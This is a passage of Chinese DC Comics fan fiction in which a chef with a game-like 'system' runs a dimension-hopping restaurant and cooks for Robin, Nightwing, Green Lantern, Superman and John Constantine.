文森特没回答，提姆从沉默中获得了他的答案，他的手在手机里默默发出了一条给家里人的新信息。
海鲜烩饭很快端上了桌，文森特看着眼前的正在刷手机的青少年脸上出现了歉意的神情。
“嗨德雷克，尝尝看？”文森特把食物推向对面。
德雷克只是朝他摇摇手机，略带失望地说：“我能打包吗？家人来接我回去了。”
黑色的轿车不知何时出现在了巷子口，一位彬彬有礼的老人礼貌地敲响了餐厅门。
“当然可以，德雷克少爷。”他迅速将海鲜烩饭打包，小心翼翼地装进了一个保温袋中。
“别打趣我了，没能吃到热乎的我可遗憾了。”提姆小小地抱怨了一下。
“看来你的家人很关心你。”文森特一边打包一边调侃道，试图缓解提姆的失望。
提姆耸了耸肩，接过保温袋：“是啊，他们总是这样。不过，今晚的晚餐我可不想错过，这可是阿福的手艺。”
“那下次来尝尝吧，随时接受救命恩人的点单。”文森特挥挥手，目送轿车消失在夜色中。
提姆一上车脸上失望抱怨的神色就一扫而空，小心翼翼地拿出了烩饭取样塞进了车里的简易化验设备。
司机嗅了下空气的味道：“这是份很不错的海鲜烩饭，恰到好处的香气，这位厨师手艺不差啊。”
“哇，很少见到你也夸奖的厨师呢阿福，看起来这真的是份正经烩饭？”提姆吐槽道，“好吧，看看化验结果，毕竟这位新店主自己都说不出来为什么要来哥谭开店。”
“随便你们，但是凉了就不好吃了。””司机一本正经地把车开回了韦恩庄园，同时确保提姆的晚餐不会变凉。
“提宝，你回来了！”
一个大大的拥抱包裹住了他。
——
【解锁人物-提摩西·德雷克】
人物描述：
已解锁：作为韦恩集团现任总裁，提摩西·德雷克以其年少有为、商业头脑和敏锐的洞察力在哥谭商界崭露头角。
尽管年轻，他已经展现出了超越年龄的成熟和稳重。
未解锁：[资料保密]
文森特回到餐厅，看着刷新出来的消息心里震惊，韦恩集团的总裁？真的假的？
他还没吃惊结束，一道声音传来进来。
“老板？现在还开门吗？我刚回地球要饿死了。”一位英俊帅气身着飞行员夹克的男人带着风沙走进了店里，手上闪着翠绿色光辉的戒指格外显眼。
5. 第 5 章
“当然，欢迎光临，外星风景怎么样？”文森特调侃道，他指了指刚写好的菜单，“想尝尝我们的特色海鲜烩饭吗？或者现烤披萨？”
“别提了，不是五面兽就是红绿黄的交通灯，还有乱飞的神秘博士，天，简直称得上恶劣，风景还是得看我们海滨城，”男人啧啧嘴，一屁股坐在了吧台旁，非常主动地给自己倒了杯啤酒，“哈尔，叫我哈尔就好。”
“看来你经历了一场冒险。”文森特注意到了男人手上的戒指，那翠绿色的光芒让他想到了自己的小正方体，它们看起来十分类似。
哈尔点点头，他的目光在菜单上扫了一圈，最后停留在了汉堡上：“两个牛肉汉堡，多放点芝士。”他低头摆弄着手机，一条消息让哈尔眼前一亮，“老板，麻烦多做两个，啊不，先做五个吧，一会儿我朋友也来。”
“五个？你确定？我这里的量可是很大的。”文森特挑了挑眉。
“五十个他也吃得下。”哈尔满不在乎地摆摆手。
文森特转身走进厨房，开始准备汉堡。
多亏有系统的帮助，腌制肉饼的时间被轻巧的跳过，新鲜牛肉饼放在预热后的平底锅上，在高温的作用下发出了滋滋的响声，文森特用夹子轻轻按压牛肉饼，确保它们均匀受热，随着温度的升高，牛肉的香气在空气中弥漫，让人垂涎欲滴。
文森特将切片的芝士放在上面，火枪炙烤下的芝士片逐渐融化，与肉饼完美结合在一起，形成了一层金黄诱人的外皮。
另一边，他将面包放入烤箱，轻微的烘烤让面包的表面变得微微焦脆，同时内部保持柔软，为汉堡提供了完美的口感。
“你这手艺，不去开个宇宙连锁餐厅可惜了。”哈尔打趣道。
文森特从厨房探出头：“宇宙连锁？听起来不错，不过我暂时还是想先在哥谭立足。”
“哥谭？那地方可不太平。”哈尔耸耸肩，他决心为海滨城人民留下一个好厨子，“为什么不继续留在我们海滨城呢？”
“是啊，我刚来就体验到了。等等，什么？海滨城？”文森特目瞪口呆，他用最后的冷静完成了自己店主的职责，把汉堡递过去出餐后，他立刻打开门走出了餐厅。
小巷尽头不再是高楼大厦，而是一道灯火通明的海岸线，豪华游艇在海上行驶，海边的露天酒吧和餐厅里传来了悠扬的音乐和人们的欢声笑语，邮筒树立在港口，承接着沟通的桥梁。
【探索发现（海滨城）20%，奖励：现金*1000】
【恭喜解锁地图，海滨城】
描述：一颗镶嵌在海岸线上的璀璨宝石。
天空与海水交相辉映，形成了一道独特的风景线，柔软的沙滩和充满活力的市井生活生机勃勃。
这座城市有她自己的守护英雄，绿灯长明，万世光芒。
强大的意志力守护着这座城市。
他第一次认识到了系统介绍里的那句“它存在于宇宙的任何时刻，欢迎您来见证维度的奇迹”的含义。
这家餐厅拥有穿越的能力，或者说它本身就存在于任何宇宙的任何角落，任何城市的人都能从他们的城市来到这家餐厅。
某种意义上来说，自己已经开成了哈尔说的宇宙连锁？文森特哑然失笑。好吧，至少终于知道为什么蝙蝠螨这么想要这家餐厅了。
文森特深吸一口气，重新回到了餐厅，哈尔已经开始吃他的第二个汉堡了，他看起来饿极了，像是终于见到了人类食物一样，满脸都是满足的神情。
“天，你知道在外星，我是说在外地，吃到一顿正宗的汉堡有多难吗？”哈尔甚至来不及咽下口里的食物，含糊地说，“该死的守护者，上司上司，他们的食堂就不是给人类食用的，无法用语言形容的难吃。”
文森特忍不住笑了，他靠在吧台上看着哈尔：“看来你在外地的日子不太好过啊。”
哈尔吞下最后一口汉堡，夸张地叹了口气：“你不知道那些食物，有的会发光，有的会蠕动，还有的...算了，不说了，再说我今晚要做噩梦了。”
“那你可得常来，”文森特指了下菜单，“我们的菜单上还有很多地球美食，保证让你忘了外星那些奇奇怪怪的东西。”
“那是必须的，”哈尔拍了拍肚子，“我得把这一年欠下的美食都补上。”
文森特点点头：“你朋友还在路上？要不等他来了再做，冷了就不好吃。”
“他？”哈尔对此习以为常，“他总会迟到那么一点点，他可能下一秒就出现你面前了。别说他了，老板你还是别去哥谭了。”
“为什么？”文森特好奇地问道，以他浅薄的超英知识，仅仅知道一句有名的“民风淳朴哥谭市，人杰地灵阿卡姆”，以及哥谭有蝙蝠侠这种基础知识。
“我的天，前段时间我在哥谭救了个人，刚救下来人家转头问我：‘你要多少钱？’”哈尔拿着杯子不满地挥了挥，他没有放弃留下厨子的念头，“我们海滨城就不会有这种事情。”
“这我比你幸运，”文森特敲敲桌子，“我今天下午被韦恩集团总裁救了一命。”他一脸得意，接着就笑不出来了，因为哈尔的酒喷了他一脸。
“韦恩总裁？”哈尔满脸痛苦，飞溅的液体也呛住了他的鼻腔，“咳咳，咳咳，你不会说是，布鲁斯，咳咳，韦恩吧？”
“谁是布鲁斯韦恩？”*文森特一边擦脸一边问道，“你冷静点，怎么这么大反应，你仇富吗？”
哈尔的咳嗽声更大了。
“他说他叫提摩西·德雷克，我查了一下他是韦恩集团现任总裁。”
哈尔终于回归了正常。
时间在有一搭没一搭的聊天中到了深夜，哈尔看看手机，巴里还没回消息。
“我的朋友应该是在拯救世界的路上迷路了。我还是先打包带走吧，免得食物也跟他一样迟到。”
说着，哈尔伸手往口袋里一摸，准备掏出钱包，却突然僵住了。他的表情从轻松愉快逐渐转变为尴尬。
作为一名绿灯侠，哈尔几乎没什么时间在地球上好好待着，更别提找一份朝九晚五的全职工作了。他生活大多数时间都在和宇宙中的各种敌人做斗争，哪里会随身携带地球现金和信用卡。
再说了，绿灯军团的工资是以宇宙货币结算的，但可以在全宇宙通用的货币在地球上连一杯咖啡都买不到。这家餐厅看起来连天花板都快要保不住了，肯定更不会接
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受什么宇宙货币。
所以，哈尔·乔丹aka最伟大的绿灯侠，现在面临着吃霸王餐的境地。
“呃，钱包丢在车站了，你等我给朋友发个消息啊。”哈尔脸上是藏不住的不好意思，手上的戒指光芒似乎也暗了暗，像是它也捂住了自己的脸。
文森特看着哈尔尴尬的样子，忍不住笑出了声，他熟练地把餐具丢进厨房：“别担心，哈尔。你的朋友说不定在拯救世界呢。”
“别打趣我了，”哈尔小小地抗议了一下，“或者你这里收宇宙货币吗？”
“宇宙货币？”
【宇宙货币：OA星提供给绿灯侠的工资货币，可用在宇宙任何认证星球使用，是宇宙旅行必备外汇。】
文森特看到介绍差点把手里的餐具飞出去，等等，绿灯侠……他就那个把自己从废墟大楼带出去的人？
“我随便说说的，稍等我联系到其他朋友了。”哈尔打着哈哈终于打通了电话，“奥利弗，先给我打点钱，我刚从外面办事回来。”
文森特几乎能听清电话那头毫不掩饰的嘲笑。
“卡号？”哈尔表情变了又变，“我刚从外面办事回来怎么可能带着卡啊！”
电话被毫不客气的挂断了。
是啊，谁能要求一个绿灯侠在执行任务的时候身上还带着现金和银行卡呢。文森特暗自吐槽。
“也许我可以试试宇宙货币？”文森特挑眉，系统既然能知道这个货币那么说不定这家餐厅能收呢，酒精冲昏了这两个人的脑袋，哈尔试着把戒指压在扫码枪上，文森特则是尝试着戳弄着吧台看看有没有什么隐藏机关。
两人被自己的搞笑行为逗笑了。
【解锁新货币支付方式，更新中，正在同步宇宙货币支付，预计用时：23小时59分。】
文森特看着哈尔一脸无奈地放下手机，决定还是帮这位宇宙英雄兼救命恩人一把：“看来你的朋友也不太靠谱。这次我先给你记在账上，下次你再一起付。”
哈尔松了口气，感激地看了文森特一眼：“谢了。我保证下次来的时候一定把钱补上。”
“没事，下次至少带点地球货币。”文森特打了个哈欠，“下次再来。”
“回见老板。”哈尔的声音消失在门外。
——
哈尔刚到家没多久就听到门铃的声音，灯戒的好处就是他可以少走几步，门被绿光轻巧地打开，好友巴里气喘吁吁地站在门口朝他打招呼。
“抱歉抱歉，来的时候无赖帮那群人在抢银行，顺便处理了一下。”巴里熟练地把自己丢进了沙发，拿起了袋子里的汉堡。
“味道真不错，什么时候能开到中城？”巴里的眼睛一亮。
他扭头看向袋子的LOGO——宇宙尽头的餐厅。
“别想了，老板答应我要当海滨城的厨子了。”哈尔笑着用灯戒构建了一个毛绒熊扔了过去。
——
文森特站在港口码头，周围人声鼎沸，等他再回到餐厅的时候，蝙蝠螨满脸笑意地等着他的到来。
“哈哈——我就知道，那么，挑战正式开始！”
“第一个挑战——客人想吃点家乡菜。”
6. 第 6 章
“第一个挑战，”蝙蝠螨又清了清嗓子，悬浮在空中，像是在发表一场鼓舞人心的重大演讲。
“是让客人吃到家乡菜。”
说完，它一本正经地停在空中，眼睛不时地左右转动，得意地等待着掌声。
“没听清吗？第一个挑战是家乡菜。”没有得到回应的五维生物看起来有点愤怒，于是他说了第三遍。
“听到了听到了两只眼睛都听到了，”文森特看着蝙蝠螨，眉毛挑得老高，“然后呢？没了？”
蝙蝠螨疑惑，它的眼睛眨巴着，似乎在思考这个问题：“还需要什么？他们想吃点家乡味道，你知道的，他们从小就离开了父母。”说完，它还做作地用披风当手帕擦了擦并不存在的眼泪。
“只有家乡菜？其他的呢？”文森特完全不吃这套，他的声音中透露出质疑。
蝙蝠螨吃了一惊，它的小手在空中挥舞：“这个还需要我来说吗？”
文森特深吸了一口气，他感觉自己的理智正在一点点地消失：“看来不只是部分人类因为有自理能力所以看不出来他们其实脑子不太好，五维生物也是一样啊。”
蝙蝠螨的脸上露出了受伤的神情：“都说了就没有挑战的意义了哎，你比蝙蝠侠无聊多了。”
“蝙蝠侠会告诉你他没有时间过家家。”*文森特指出了这个错误，他揉了揉太阳穴，试图保持冷静，经过上次的讨论他知道了一件事情：和五维生物争论是没有意义的。
“你至少能告诉我，他们是什么时候来，今天？明天？还是什么时候？”
蝙蝠螨陷入了沉默。
“连这个也不行？”文森特原本顺滑的金色短发在他们的沟通中被他自己揉的像是一团稻草，语气里的抓狂都掩盖不住了。
“哦，这个我也还没想好，”蝙蝠螨在空中左右摇摆，“我会提前三天告诉你的。现在，我得去看看我的其他乐子了。”
说完，它的身影就像风一样，从天花板上的洞飞了出去。
文森特叹了口气，他开始怀疑自己是不是答应了一个不得了的事情。他转身走进厨房，和食材大眼瞪小眼。
家乡菜……应该是地球家乡吧，既然他自称是蝙蝠侠的狂热粉丝，那么蝙蝠侠的家乡菜？哥谭特色会是什么？文森特陷入思考。
就在这时，一道黄绿相间的身影从天花板的洞里掉了下来。
“先生您好，欢迎光临，我们这里吃饭不用走天花板的，打烊之后也不用。”文森特礼貌地伸手拉了一把来人，惊讶的发现这竟然是个看起来只有十几岁的小孩。
幽蓝的身影紧随其后，非常习惯地在后面道歉：“抱歉抱歉，我们会赔天花板钱的。”
“呃，不用你赔……”文森特还没说完，他拉起来的男孩就接上了后半句。
“因为这个洞一直在这里。”穿的像只知更鸟的男孩带着多米诺眼罩朝他笑了笑。
超级英雄【夜翼】【罗宾】。
系统非常贴心地给两人标上了名称，让文森特这个超英盲心里一阵感动，看起来这个系统除了收税和吐槽自己还是有其他的作用的。
罗宾拍了拍身上的灰尘，尴尬地笑了笑：“嘿，我们不是故意的，只是...呃，有点急事。”
“比如？”
“比如，我们刚才在追捕一个越狱犯，然后……就到这里了。”
文森特叹了口气，刚想打开门让他们继续保卫城市的事业，突然他想起一件事：
自己之前打开门出现的是海滨城，但是听这两位的语气天花板的洞来自哥谭，那么，现在自己打开门外面是哥谭还是海滨城呢？还是别让他们赌这个了。
“如果不介意的话，可以原路返回？”文森特强行扭过身体指了指天花板的洞。
“D……夜翼，要不然我们先吃点东西？”罗宾抱怨道，他的表情透露出一丝不满，“调料王带走了哥谭所有的酱料，我已经三天没吃上水煮菜以外的东西了。”
夜翼无奈地叹了口气，他知道自家弟弟说得没错。自从调料王越狱后，哥谭的餐饮业就遭受了前所未有的打击。
蝙蝠侠不需要酱料，但是他们需要。
“好吧小家伙，我们先补充点能量。”大蓝鸟拍了拍罗宾的肩膀。
“好耶，两个超辣热狗。”罗宾先发制人，蓝色的眼睛里闪着期待的光芒，这个眼神让文森特感到十分熟悉，“老板多放酱。”
“没问题。”文森特转身走进厨房，开始准备热狗。他灵活操作料理台，烤面包、煎香肠、切蔬菜，一气呵成。
不一会儿，两个热狗就做好了，香气四溢，快要溢出来的酱汁看得人食指大动。
“请慢用。”文森特将热狗放在两位超级英雄面前。
罗宾迫不及待地咬了一大口，满足地叹息道：“这是我吃过最好吃的热狗。”他又嚼了两口，“之一。”
“便士一做的不好吃吗？”夜翼的嘴角勾起了一丝戏谑的笑意，眼神中闪烁着恶作剧的光芒。
“也不能说难吃，就是...”罗宾的表情纠结，他似乎在寻找一个合适的词汇，“就是太‘英国’了。”
夜翼开怀大笑，爽朗的笑容配上他那张英俊的脸在月光的照耀下几乎在发光，“你是第一个啊哈哈哈哈第一个说出来的哈哈哈哈。”
蝙蝙蝠侠对食物的挑剔是出了名的，他更喜欢那些不需要过多烹饪的简单食物。
夜翼自己倒是对食物没什么特别的偏好，但连他也得承认，便士一更擅长的不是厨艺。
“不过，我们得保密，”夜翼眨了眨眼，他的表情突然变得严肃，“毕竟，我们不想伤害他的感情。”
罗宾点了点头，他压低声音说：“当然，我们可是专业的。”
在这个短暂的休息时刻，他俩得以暂时忘记那些超级英雄的责任，只单纯地享受一顿兄弟间的美味夜宵。
文森特在吧台擦拭着杯子，看着两人一边享受食物一边斗嘴的样子，脸上不自觉出现一抹微笑，他在餐厅里最喜欢的就是这一幕。
“如果你们喜欢，下次可以再来。”文森特说道，“一共8刀，现金还是刷卡？”
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>也许夜翼能从自己紧身的战衣角落掏出一张夜翼信用卡？文森特不着痕迹地扫了一下这位身材格外突出的超级英雄。
夜翼愣了一下，低头看了一眼自己的战衣：“老板……也许明天可以和修天花板的钱一起给你送过来？”
罗宾挤了过来，从口袋里掏了半天除了各种神奇小道具之外一无所获。
文森特看到这两人的表情，叹了口气，自己今天这是来给超英当免费食堂了吗？
就在他在心里吐槽的时候，任务刷新了出来。
日常任务：明星效应（0/N）
描述：在这个世界上，名气就是一种力量。想象一下，如果你的餐厅得到了超级英雄的推荐，那岂不是名声大噪？让这些超英为你的小店留下一句好评吧。
任务要求：获得一句来自超英状态下的超英推荐语，比如“ 我是【超英代号】，这是我在【城市】最喜欢的餐厅。”*
看完任务，文森特差点笑出声，引起了两个人的好奇，他清了清嗓子说道：“天花板就算了，这是我们的特色，不过既然两位都是哥谭的名人，能帮我一个小忙吗？”
“什么忙？”夜翼有点警惕，笑容变淡，把罗宾护在了身后，卡里棍轻巧地在手里转了一圈。
文森特指了指自己的收银台：“给我留个广播语吧，比如‘我是夜翼，这是我在哥谭最喜欢的餐厅’之类的。”
夜翼吃了一惊，接着他笑得不行，这是他第一次听到这种要求：“没问题，但是就两个热狗就想买超级英雄给你打广告是不是太便宜了一点？”
“也是，这样以后你来吃只收成本价。”文森特一本正经地点点头。
“热狗再加两个，我也要录，我也要成本价。”罗宾探出头来参与到了这次“商业录制”。
“成交。”
日常任务：明星效应（2/N）
奖励：100美金*2
——
追击调料王并不难，困难的是如何在保护自己的超英制服的前提下抓住这位反派。
不幸的是这个混蛋在街上挟持了人质。
幸运的是这个倒霉鬼挟持错了人质。
看到被挟持的人红色长发和那张熟悉的脸之后，夜翼露出一个悲悯的表情，他选择遮住罗宾的眼睛并且闭上自己的眼睛。
红发少女干净利落地一拳干掉了这位企图挟持警长女儿的搞笑角色，把人丢回了监狱。
“吃个热狗吗，小芭？”夜翼丢过去一个纸袋。
“谢了，”芭芭拉尝了一口，久违的酱料味道让她感动地不行。“味道不错啊，哥谭哪里还有带酱料的店啊，我要再去买两个。”
不对劲的感觉终于浮上了夜翼的心头，哥谭所有的酱料已经断供三天了，这家店是哪里来的多余调料呢。
“小芭，先别吃了。”迪克表情严肃。
他不动声色地把杰森送回了大宅，取样了热狗送进了楼下的蝙蝠洞检查，接着开着自己的摩托回到了之前的楼顶。
那是一间天花板没有洞的废弃仓库。
7. 第 7 章
文森特并不知道夜翼在背后为了这家神秘出现的店费了多大力气。
在两位超英走后，他淡定地给洞贴了一张超人的海报——来自哥谭摊主的馈赠，据说这是他们要丢掉的垃圾。
文森特没法理解哥谭人这份对于其他超英的沉重的感情。
睡眠的黑暗笼罩他的最后一刻，文森特对着超人海报在心里默默许下一个愿望：未来的客人来的时候至少带点地球货币。
——
敲门声把文森特从睡神的怀抱中撕扯出来，他迷迷糊糊地睁开眼，窗外还只是蒙蒙亮。
现在是凌晨五点，现在距离他闭上眼睛的那一刻，不过三个小时。
文森特翻了个身，像鸵鸟那样把头埋进枕头里，希望这样可以逃避门外的不速之客。但那敲门声似乎和他较上了劲，一声比一声坚定，一声比一声有力。
“好吧好吧，我来了。”文森特嘟囔着，拖着沉重的步伐走向了门口
门一开，外面敲门的人像个被遗弃的包裹似的，直直地砸向了他。
文森特一惊，定睛一看，这不是昨天那位疯狂司机康斯坦丁吗？
他看起来十分虚弱，脸色苍白，原本的风衣已经不见踪影，白色衬衫上沾满了斑斑血迹，皱巴地像是从缸里捞起来的腌菜，他仿佛是刚从某个犯罪现场里逃出来的幸存者，但是又带着一身的酒味。
但是唯一不变的是他嘴上叼着的烟，明明灭灭的烟头似乎在说：“即使世界末日，也不能阻止我抽烟。”
“早上好啊。”康斯坦丁的声音虚幻又飘渺，好似来自遥远的外星球，随时都会因为信号不好而断线。
康斯坦丁扶了两下企图自己站起来，严重的伤势让他看到了很多个文森特，他真的没想来找文森特，但是身体自发的行为让他在清醒的时候已经倒在了文森特的怀里。
好吧，那就多抱抱吧。
康斯坦丁自嘲地想着，他深吸了一口烟，试图用烟雾驱逐周围的窃窃私语的鬼魂，它们的存在让他感到无比烦躁，他挥手送走了这些不请自来的幽灵。
该死，现在这个人根本不认识他，他只认识那个“计程车司机”。
黑暗悄悄袭来，将康斯坦丁彻底吞没。
文森特看着昏迷的人不知道说点什么，凌晨五点遇到一个看起来被谋杀的人在超英世界是一件很常见的事情吗？
他犹豫了一下，心想是不是应该拨打911报警，但又该如何向警察解释这一切？更何况，他甚至不确定自己的餐厅究竟位于地球哪个角落。
文森特只能小心翼翼地把康斯坦丁扶到了他自己的简易床上，准备处理他的伤口。
他轻手轻脚地为康斯坦丁的伤口做了简单包扎，幸运的是虽然看起来出血量惊人，但是实际他的身上没什么伤口，最严重的也不过是脖颈处深紫色的勒痕和一些擦伤。
文森特不禁疑惑，这些血迹到底是从哪里来的？但他没有时间去深究，只是摇了摇头，决定先把这个问题放在一边。
处理好伤口之后，文森特给康斯坦丁盖上了毯子。在确认康斯坦丁已经安然入睡后，文森特出门透透气，心中开始盘算起蝙蝠螨提出的第一个挑战。
这不仅仅是一场挑战，更是他回到自己世界的唯一希望。
关上店门，文森特深吸了一口清晨的空气，一道红蓝相间的身影从他头顶飞过。
红蓝配色的超英划过天空，悬浮在星球日报的巨大地球仪前，阳光从他身后喷涌而出，红色披风在轻风下轻轻摇动。
超人，文森特福至心灵，这里是大都会。
【探索发现（大都会）40%，奖励：现金*1000】
描述：是鸟？是飞机？是超人！*
他是人性与神性的统一，是正义和真理的象征。
他是超人。
文森特站在门口，目送超人的身影渐渐远去，带着激动回到店里，开始为新的一天做准备。
他走进厨房，开始准备早餐。鸡蛋在平底锅中发出诱人的滋滋声，培根的香味弥漫在整个餐厅。
文森特像是在指挥一曲美妙的食物交响乐，他的心情也随着每一个动作而变得明朗。
康斯坦丁在文森特的床上睡着，他眉头紧锁，看得出来梦里也不安稳，伸出手想要抓住什么最后又无力的放下。
文森特看着他，对这个神秘的计程车司机产生了一丝好奇。
第一次见面一口叫出了自己的名字，难道他有个和自己长得一模一样的同名朋友？
文森特摇摇头，把这个奇怪的念头驱逐出了自己的脑海。
算了，等他醒了问问他吧。
——
互联网上显示大都会最好的蔬果市场离他目前的位置没有几百米远，冰箱里新鲜食材所剩无几，文森特打算去看看，补充一下自家仓库。
“稍等稍等！”一个青年几步走了上来，他穿着红色的格子衬衫，带着黑框眼镜，黑色的短发前面还有一个小卷，“老板还有早餐吗？”
“三明治可以吗？”
“没问题。”
克拉克松了一口气，他之前答应要给露易丝带早餐，没想到今天一早就被正联的事情绊住了步伐，幸好还有开着的店铺。
“当然可以，稍等片刻。”文森特微笑着，转身回到厨房开始制作三明治。
煎得恰到好处的培根，新鲜番茄，生菜，流心煎蛋，再涂上一层现做的蛋黄酱，烤好的面包也在此时从面包机里跳了出来。
完美的三明治。
“给，”文森特将三明治装进袋子里递给了青年，“5刀。”
看着对面青年找钱的动作，文森特暗自感慨：不愧是超人，对着许愿就是有用。
克拉克背后凉意转瞬即逝，他淡定付钱接过三明治，脸上露出了感激的笑容：“非常感谢，我得走了，要迟到了。”
“再见。”文森特笑着挥手告别，看着青年冲进了星球日报社大楼。
——
“肯特！不错不错，就差一点就迟到了。”吉米用手肘怼了一下自己的好友。
“还好没迟到，大都会的堵车真的太折磨了。”克拉克装模做样地叹了口气，略带羞涩地把三明治放到了露易丝身旁。
实话是，正联的早会实在太折磨了，比起面对蝙蝠侠审核他们战损报告的黑脸，克拉克宁可去采访莱克斯卢瑟，至少卢瑟还在人类范畴。
“克拉克，附近的集市有个农贸节日，你去采访一下吧
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。”
露易丝吃着三明治开始了今天的工作安排，她扭头转向吉米：“线人报告在港口有个案子的线索，我们一起去。”
“味道不错，哪家店我也去买。”露易丝看了一眼袋子LOGO——
宇宙尽头的餐厅。
很有意思的名字。莱恩记者产生了一丝兴趣。
————
文森特很快收拾好了店里，他准备出发去探索一下附近的集市。
至于康斯坦丁，文森特细心地做了个三明治放在他的身边，并附上了一张便条：“朋友，你晕倒在我的店里。我帮你处理了伤口，三明治是为你准备的。随意享用。——科顿”。
经过了半小时的徒步跋涉，文森特终于领悟到了一个宝贵的生活经验——拥有一辆自己的车是多么重要。
想象一下，地图上显示短短几百米的直线距离，实际上却需要他风尘仆仆地走上三公里，这种体验让他深刻感受到车的便利。
当他大汗淋漓地抵达集市门口时，文森特再次遇到了今早的记者顾客。
记者正专注地用相机记录下集市上五彩斑斓的食材。
“你好，看来我们又见面了，可以叫我文森特。”文森特擦了擦额头上的汗珠，一边友好地向记者点头致意，他的目光不经意间扫过了记者胸前挂着的工作证。
“肯特先生，你今天还采访蔬果相关的内容吗？”
“当然，我们对所有新闻都一视同仁。”克拉克抬头，看到是文森特，他露出了一个友好的笑容，“今天是这里的农产品节，我刚刚发现了几家很不错的店铺，需要我带你逛逛吗？”
“太感谢了，”文森特说，“我刚到这里，听说这里的食材很新鲜，就正好来看看。”
克拉克向文森特介绍了几家他个人认为很不错的店铺。
“这家奶酪店，”克拉克指着一家装饰古朴的小店说，“他们的产品有着我老家堪萨斯州的纯正风味。”
“老威廉早安，”克拉克小声说道，“威廉家的有机蔬菜就在我家农场隔壁。”
他们从香料店逛到了海鲜摊，到最后文森特和克拉克手上全都是各式各样的袋子。
“这些都是我经常光顾的店，他们的东西质量都很好。”克拉克热情地推荐着。
听着克拉克的介绍，文森特忍俊不禁：“听你这么一说，感觉这几家店都和你家乡有着千丝万缕的联系。”
克拉克也笑了，他拍了拍文森特的肩膀，“也许吧，但我保证，它们的品质绝对值得信赖。”
——
文森特赶着中午前回到了店里。
两人交谈甚欢，正当文森特想要邀请克拉克共进午餐时，克拉克的手机突然响了起来。
克拉克看了一眼手机，脸色瞬间变得有些尴尬。
“不好意思，文森特。家里的水管突然爆了，我得赶紧回去处理一下。”克拉克的表情中带着一丝无奈。
“没事，你这个比较紧急。”文森特理解，“那下次你请我。”
“没问题。”
两人交换了电话号码，克拉克匆匆告别，拦下了一辆出租车，消失在了街道的尽头。
“B，我马上就到。”超人一飞冲天。
8. 第 8 章
昨天深夜，哥谭郊外，蝙蝠洞
今晚的夜巡非常顺利，大部分“大人物”在阿卡姆，小部分“大人物”在黑门，还有几个在幻影地区，蝙蝠家族的各位按照常规线路巡逻完成后纷纷飞回了巢穴。
夜翼是最后一个回来的，有几个不长眼的小毛贼想要进行点夜间活动，被卡里棍狠狠教育了一番丢在了GCPD门口，他还抽空给在外面狂欢的女孩们送了顿宵夜。
他来的时候提姆正坐在电脑前面打盹，面前的饮品已经凉透，听到熟悉脚步声的提姆立刻睁开了眼睛，努力保持清醒。
但是迪克能看出来这个孩子现在一点也不清醒，他催着尽职尽责的弟弟赶紧去睡觉。
把三弟送回房间之后，迪克一个人坐在了电脑前面整理着今天的报告，这是他当蝙蝠侠的那段时间留下的后遗症。
“滴——”常规报告结束的声音，没有任何警告和标注，甚至还在数据库里匹配到了另一份常规报告。
迪克好奇地点开了报告，一目十行扫过去显示这是份平平无奇的海鲜烩饭，看起来色香味俱全，匹配的对象是……一个热辣狗？
“文森特的店？”杰森的声音突然从他耳边传来，他悄无声息地出现在迪克的身后。
专注于报告的迪克像只见到黄瓜的猫一样原地起跳，他在毫无准备的情况下做了个后空翻拉开距离，摆出了攻击的架势。
“他回哥谭开店了？”
“你走路都不带声啊，”迪克低声抱怨，他重新审视着报告，“不如说他刚刚到哥谭。”
“是你太专心了。”杰森抖了下自己的外套，一枚硬币在他手指间流转，“我昨天看到他了，他连康斯坦丁都不认识了。”
“神秘的魔法啊。”迪克的嘴角勾起一抹微笑，“那个时候你可是……”
“停停停，别说了。”杰森举手投降，他实在不愿意听别人说那段历史，“别忘了你可是白吃了好几次。”所以做个人吧。
“我们没有白吃，”迪克正色道，“别忘了你可是他家的代言人。”
杰森发出不屑地声音: “现在罗宾不是我了，啧，让恶魔崽子占便宜了。”
“趁着还能我们找时间去吃一顿怎么样？”
“没问题。”
“所以现在？”两人对视一眼，成功拉对方下水“干坏事”的快乐萦绕在他俩身旁。
“让提宝继续查吧，海鲜烩饭你别都吃了给我留口！”杰森毫不客气地给热辣狗加密了十五层，把匹配的记录删除，甚至还引向了奇怪的方向。
“罗宾传承。”两人在蝙蝠电脑上郑重其事打下了这个标题。
睡梦里的提姆打了个寒颤。
————
文森特回到餐厅的时候，发现康斯坦丁依然躺在床上，呼吸均匀，但是周围地上散落的烟头和吃完的三明治都显示他曾经醒来过。
他悄悄地走到床边，准备检查康斯坦丁的伤口。
但就在他即将触碰到康斯坦丁的瞬间，一股突如其来的力量从他无法察觉的方向袭来，将他猛地掀翻在地，落地时，他感到一阵柔软的触感，缓解了摔倒的冲击。
口袋里的小正方体也随着这股力道飞出，和包裹着它的网兜一起掉在地上。
“嘶。”文森特倒吸一口凉气。
他抬头看向床上起身的康斯坦丁，后者的面容融合了西方的深邃与东方的精致，眼中闪烁着冷漠与疲惫。
康斯坦丁的声音带着歉意，但不多：“抱歉，我不习惯别人靠得太近。”他打了个哈欠，对刚才发生的事情并不在意，“还有吃的吗？一个三明治不够。”
“有，付钱就是上帝。”文森特从地上站起来，掸了掸衣服上的灰尘，露出无奈的微笑。“我只是担心你的伤口，没想到你会这么敏感。”
“我也能成为别人的上帝吗？”康斯坦丁拿出自己的钱包，然后指了指掉落在地上的小正方体，“东西掉了，那是什么？”
康斯坦丁一眼就认出来了这个小正方体，扎塔娜的空间旅行产品之一，据说是当地生物的食物，人类不能吃，但是摆着好看。
哦，还有专门被他用来倒卖给有钱没地花的亿万富翁们，比如布鲁斯·韦恩或者奥利弗·奎恩。
“会发光的小玩具，摊主说是个幸运符。”文森特捡起小正方体，重新放回口袋，“虽然我觉得对着超人许愿更有用。”
康斯坦丁无奈地捂住了眼睛：“这就是你在房顶上贴超人的原因？”
“当然，超人无所不能。”
康斯坦丁摇了摇头，从床上坐了起来，伸展了一下身体：“好吧，超人粉丝先生，给你的上帝弄点吃的，我饿了。”
几张钞票拍在桌子上。
“想吃什么？”文森特走向厨房。
“随便，能吃就行。”康斯坦丁的声音从背后传来。
文森特在厨房忙碌起来：“这么不相信我的手艺吗？”他从冰箱里取出一块事先腌制好的牛排，肉质鲜美，纹理清晰，是最适合煎制的食材。
“看起来真不错。”康斯坦丁娴熟地走到后厨看着文森特煎牛排，文森特小心地用夹子将牛排翻面，黄油的香气和肉香交织在一起，弥漫在整个厨房。
“谢谢上帝的夸奖，吃起来也会好吃的。”
文森特将煎好的牛排放在准备好的热餐盘上，搭配上翠绿的芦笋和鲜艳的圣女果，色彩明亮，香气四溢。
